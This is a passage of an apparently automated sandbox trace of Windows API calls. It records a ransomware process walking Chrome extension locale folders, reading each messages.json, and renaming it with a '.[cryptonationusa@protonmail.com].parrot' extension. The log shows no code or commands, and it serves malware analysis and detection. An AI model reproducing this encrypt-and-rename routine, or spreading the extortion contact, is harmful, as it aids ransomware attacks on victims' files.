ftLastAccessTime.dwLowDateTime=0x827a5440, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb8d5fa80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x3b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0072.796] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.796] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0072.796] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827aa260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827af080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x827af080, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.796] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0072.796] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0072.796] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x827af080, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827af080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab2840, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x295, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0072.797] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3ad, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.797] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.797] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0072.798] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.799] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x295, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x295, lpOverlapped=0x0) returned 1 [0072.799] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.799] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3ad, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.799] CloseHandle (hObject=0x28c) returned 1 [0072.800] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_pt\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_pt\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0072.802] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.803] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827aa260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8df8000, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8df8000, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.804] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x827af080, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827af080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb8df8000, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x3b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0072.804] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.804] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0072.804] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827b3ea0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827b65b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x827b65b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.804] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0072.804] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0072.804] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x827b65b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827b8cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab2840, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x29c, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0072.805] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3b4, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.805] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.805] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0072.807] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.807] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x29c, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x29c, lpOverlapped=0x0) returned 1 [0072.808] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.808] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3b4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.808] CloseHandle (hObject=0x28c) returned 1 [0072.808] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0072.811] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.811] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827b3ea0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8e1e160, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8e1e160, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.812] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x827b65b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827b8cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb8e1e160, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x3b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0072.812] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.813] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0072.813] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827c7720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827cc540, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x827cc540, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.813] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0072.813] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0072.813] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x827cc540, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827cec50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab2840, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x30f, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0072.813] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x427, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.813] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.813] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0072.814] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.814] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x30f, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x30f, lpOverlapped=0x0) returned 1 [0072.815] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.815] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x427, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.815] CloseHandle (hObject=0x28c) returned 1 [0072.816] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0072.819] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.819] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827c7720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8e1e160, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8e1e160, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.820] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x827cc540, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827cec50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb8e1e160, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x428, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0072.820] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.821] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0072.821] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827e4be0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827e72f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x827e72f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.821] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0072.821] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0072.821] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x827e72f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827e9a00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab2840, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x29f, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0072.822] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3b7, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.822] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.822] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0072.823] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.823] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x29f, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x29f, lpOverlapped=0x0) returned 1 [0072.824] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.824] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3b7, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.824] CloseHandle (hObject=0x28c) returned 1 [0072.825] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0072.827] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.827] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827e4be0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8e442c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8e442c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.828] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x827e72f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827e9a00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb8e442c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x3b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0072.829] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.829] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0072.829] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827f5d50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827fab70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x827fab70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.829] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0072.829] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0072.829] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x827fab70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827fd280, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab2840, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x282, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0072.829] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x39a, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.829] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.829] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0072.856] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.856] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x282, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x282, lpOverlapped=0x0) returned 1 [0072.857] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.857] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x39a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.858] CloseHandle (hObject=0x28c) returned 1 [0072.858] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 